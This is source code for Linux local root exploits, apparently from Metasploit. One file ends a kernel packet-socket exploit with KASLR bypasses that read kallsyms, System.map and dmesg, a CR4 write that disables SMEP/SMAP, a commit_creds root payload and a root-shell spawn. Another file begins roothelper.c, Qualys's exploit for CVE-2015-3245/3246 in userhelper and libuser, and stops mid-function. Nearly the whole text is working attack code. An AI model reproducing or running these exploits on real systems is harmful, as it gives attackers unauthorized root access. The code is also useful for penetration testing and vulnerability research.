void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,976 @@
|
||||
/*
|
||||
* roothelper.c - an unusual local root exploit against:
|
||||
* CVE-2015-3245 userhelper chfn() newline filtering
|
||||
* CVE-2015-3246 libuser passwd file handling
|
||||
* Copyright (C) 2015 Qualys, Inc.
|
||||
*
|
||||
* gecos_* types and functions inspired by userhelper.c
|
||||
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
|
||||
*
|
||||
* UH_* #defines and comments inspired by userhelper.h
|
||||
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* A maximum GECOS field length. There's no hard limit, so we guess. */
|
||||
#define GECOS_LENGTH 127
|
||||
|
||||
typedef char gecos_field[GECOS_LENGTH];
|
||||
|
||||
/* A structure to hold broken-out GECOS data. The number and names of the
|
||||
* fields are dictated entirely by the flavor of finger we use. Seriously. */
|
||||
struct gecos_data {
|
||||
gecos_field full_name; /* full user name */
|
||||
gecos_field office; /* office */
|
||||
gecos_field office_phone; /* office phone */
|
||||
gecos_field home_phone; /* home phone */
|
||||
gecos_field site_info; /* other stuff */
|
||||
};
|
||||
|
||||
static struct userhelper {
|
||||
struct gecos_data gecos;
|
||||
rlim_t fsizelim;
|
||||
pid_t pid;
|
||||
int fd;
|
||||
} userhelpers[GECOS_LENGTH];
|
||||
|
||||
static void
|
||||
die_in_parent(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
|
||||
fflush(stderr);
|
||||
|
||||
unsigned int i;
|
||||
for (i = 0; i < GECOS_LENGTH; i++) {
|
||||
const pid_t pid = userhelpers[i].pid;
|
||||
if (pid <= 0) continue;
|
||||
kill(pid, SIGKILL);
|
||||
}
|
||||
_exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void
|
||||
die_in_child(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
|
||||
#define die() die_fn(__FILE__, __LINE__, __func__)
|
||||
|
||||
static void *
|
||||
xmalloc(const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const ptr = malloc(size);
|
||||
if (ptr == NULL) die();
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void *
|
||||
xrealloc(void *const old, const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const new = realloc(old, size);
|
||||
if (new == NULL) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static char *
|
||||
xstrndup(const char *const old, const size_t len)
|
||||
{
|
||||
if (old == NULL) die();
|
||||
if (len >= INT_MAX) die();
|
||||
|
||||
char *const new = strndup(old, len);
|
||||
|
||||
if (new == NULL) die();
|
||||
if (len != strlen(new)) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static int
|
||||
xsnprintf(char *const str, const size_t size, const char *const format, ...)
|
||||
{
|
||||
if (str == NULL) die();
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
if (format == NULL) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
const int len = vsnprintf(str, size, format, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (len < 0) die();
|
||||
if ((unsigned int)len >= size) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return len;
|
||||
}
|
||||
|
||||
static int
|
||||
xopen(const char *const pathname, const int flags)
|
||||
{
|
||||
if (pathname == NULL) die();
|
||||
if (*pathname != '/') die();
|
||||
if (flags != O_RDONLY) die();
|
||||
|
||||
const int fd = open(pathname, flags);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static const struct flock rdlock = {
|
||||
.l_type = F_RDLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void
|
||||
xclose(const int fd)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static const struct flock unlock = {
|
||||
.l_type = F_UNLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
|
||||
if (close(fd) != 0) die();
|
||||
}
|
||||
|
||||
#define GECOS_BADCHARS ":,=\n"
|
||||
|
||||
/* A simple function to compute the size of a gecos string containing the
|
||||
* data we have. */
|
||||
static size_t
|
||||
gecos_size(const struct gecos_data *const parsed)
|
||||
{
|
||||
if (parsed == NULL) die();
|
||||
|
||||
size_t len = 4; /* commas! */
|
||||
len += strlen(parsed->full_name);
|
||||
len += strlen(parsed->office);
|
||||
len += strlen(parsed->office_phone);
|
||||
len += strlen(parsed->home_phone);
|
||||
len += strlen(parsed->site_info);
|
||||
len++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
|
||||
Note that the parsing is performed using the convention obeyed by BSDish
|
||||
finger(1) under Linux. */
|
||||
static void
|
||||
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
|
||||
{
|
||||
if (gecos == NULL) die();
|
||||
if (strlen(gecos) >= INT_MAX) die();
|
||||
|
||||
if (parsed == NULL) die();
|
||||
memset(parsed, 0, sizeof(*parsed));
|
||||
|
||||
unsigned int i;
|
||||
const char *field = gecos;
|
||||
|
||||
for (i = 0; ; i++) {
|
||||
const char *field_end = strchrnul(field, ',');
|
||||
gecos_field *dest = NULL;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
dest = &parsed->full_name;
|
||||
break;
|
||||
case 1:
|
||||
dest = &parsed->office;
|
||||
break;
|
||||
case 2:
|
||||
dest = &parsed->office_phone;
|
||||
break;
|
||||
case 3:
|
||||
dest = &parsed->home_phone;
|
||||
break;
|
||||
case 4:
|
||||
// msf note: changed `rawmemchar` to `memchr` for cross-compile
|
||||
//field_end = rawmemchr(field_end, '\0');
|
||||
field_end = memchr(field_end, '\0', 16);
|
||||
dest = &parsed->site_info;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
const size_t field_len = field_end - field;
|
||||
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
|
||||
if (strlen(*dest) != field_len) die();
|
||||
|
||||
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
|
||||
|
||||
if (*field_end == '\0') break;
|
||||
field = field_end + 1;
|
||||
}
|
||||
if (gecos_size(parsed) > GECOS_LENGTH) die();
|
||||
}
|
||||
|
||||
/* Assemble a new gecos string. */
|
||||
static const char *
|
||||
gecos_assemble(const struct gecos_data *const parsed)
|
||||
{
|
||||
static char ret[GECOS_LENGTH];
|
||||
size_t i;
|
||||
|
||||
if (parsed == NULL) die();
|
||||
/* Construct the basic version of the string. */
|
||||
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
|
||||
parsed->full_name,
|
||||
parsed->office,
|
||||
parsed->office_phone,
|
||||
parsed->home_phone,
|
||||
parsed->site_info);
|
||||
/* Strip off terminal commas. */
|
||||
i = strlen(ret);
|
||||
while ((i > 0) && (ret[i - 1] == ',')) {
|
||||
ret[i - 1] = '\0';
|
||||
i--;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Descriptors used to communicate between userhelper and consolhelper. */
|
||||
#define UH_INFILENO 3
|
||||
#define UH_OUTFILENO 4
|
||||
|
||||
/* Userhelper request format:
|
||||
request code as a single character,
|
||||
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
|
||||
request data
|
||||
'\n' */
|
||||
#define UH_REQUEST_SIZE_DIGITS 8
|
||||
|
||||
/* Synchronization point code. */
|
||||
#define UH_SYNC_POINT 32
|
||||
|
||||
/* Valid userhelper request codes. */
|
||||
#define UH_ECHO_ON_PROMPT 34
|
||||
#define UH_ECHO_OFF_PROMPT 35
|
||||
#define UH_EXPECT_RESP 39
|
||||
#define UH_SERVICE_NAME 40
|
||||
#define UH_USER 42
|
||||
|
||||
/* Consolehelper response format:
|
||||
response code as a single character,
|
||||
response data
|
||||
'\n' */
|
||||
|
||||
/* Consolehelper response codes. */
|
||||
#define UH_TEXT 33
|
||||
|
||||
/* Valid userhelper error codes. */
|
||||
#define ERR_UNK_ERROR 255 /* unknown error */
|
||||
|
||||
/* Paths, flag names, and other stuff. */
|
||||
#define UH_PATH "/usr/sbin/userhelper"
|
||||
#define UH_FULLNAME_OPT "-f"
|
||||
#define UH_OFFICE_OPT "-o"
|
||||
#define UH_OFFICEPHONE_OPT "-p"
|
||||
#define UH_HOMEPHONE_OPT "-h"
|
||||
|
||||
static char
|
||||
read_request(const int fd, char *const data, const size_t size)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (data == NULL) die();
|
||||
if (size >= INT_MAX) die();
|
||||
|
||||
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
|
||||
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
|
||||
header[sizeof(header)-1] = '\0';
|
||||
|
||||
errno = 0;
|
||||
char *endptr = NULL;
|
||||
const unsigned long len = strtoul(&header[1], &endptr, 10);
|
||||
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
|
||||
|
||||
if (len >= size) die();
|
||||
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
|
||||
if (data[len] != '\n') die();
|
||||
data[len] = '\0';
|
||||
|
||||
if (strlen(data) != len) die();
|
||||
if (strchr(data, '\n') != NULL) die();
|
||||
return header[0];
|
||||
}
|
||||
|
||||
static void
|
||||
send_reply(const int fd, const unsigned char type, const char *const data)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (!isascii(type)) die();
|
||||
if (!isprint(type)) die();
|
||||
if (data == NULL) die();
|
||||
if (strpbrk(data, "\r\n") != NULL) die();
|
||||
|
||||
char buf[BUFSIZ];
|
||||
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
|
||||
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
|
||||
}
|
||||
|
||||
#define ETCDIR "/etc"
|
||||
#define PASSWD "/etc/passwd"
|
||||
#define BACKUP "/etc/passwd-"
|
||||
|
||||
static struct {
|
||||
char username[64];
|
||||
char password[64];
|
||||
struct gecos_data gecos;
|
||||
} my;
|
||||
|
||||
static volatile sig_atomic_t is_child_dead;
|
||||
|
||||
static void
|
||||
sigchild_handler(const int signum __attribute__ ((__unused__)))
|
||||
{
|
||||
is_child_dead = true;
|
||||
}
|
||||
|
||||
static int
|
||||
wait_for_userhelper(struct userhelper *const uh, const int options)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid <= 0) die();
|
||||
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
|
||||
|
||||
int status;
|
||||
for (;;) {
|
||||
const pid_t pid = waitpid(uh->pid, &status, options);
|
||||
if (pid == uh->pid) break;
|
||||
if (pid > 0) _exit(255);
|
||||
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
}
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
|
||||
return status;
|
||||
}
|
||||
|
||||
static void
|
||||
forkstop_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid != 0) die();
|
||||
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
|
||||
|
||||
struct rlimit fsize;
|
||||
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
if (uh->fsizelim > fsize.rlim_max) die();
|
||||
if (uh->fsizelim <= 0) die();
|
||||
fsize.rlim_cur = uh->fsizelim;
|
||||
|
||||
cpu_set_t old_cpus;
|
||||
CPU_ZERO(&old_cpus);
|
||||
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
|
||||
{ const int cpu = sched_getcpu();
|
||||
if (cpu >= CPU_SETSIZE) die();
|
||||
if (cpu < 0) die();
|
||||
cpu_set_t new_cpus;
|
||||
CPU_ZERO(&new_cpus);
|
||||
CPU_SET(cpu, &new_cpus);
|
||||
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
|
||||
|
||||
int sv[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
|
||||
|
||||
if (is_child_dead) die();
|
||||
static const struct sigaction sigchild_action = {
|
||||
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
|
||||
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
|
||||
|
||||
uh->pid = fork();
|
||||
if (uh->pid <= -1) die();
|
||||
|
||||
if (uh->pid == 0) {
|
||||
die_fn = die_in_child;
|
||||
if (close(sv[1]) != 0) die();
|
||||
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
|
||||
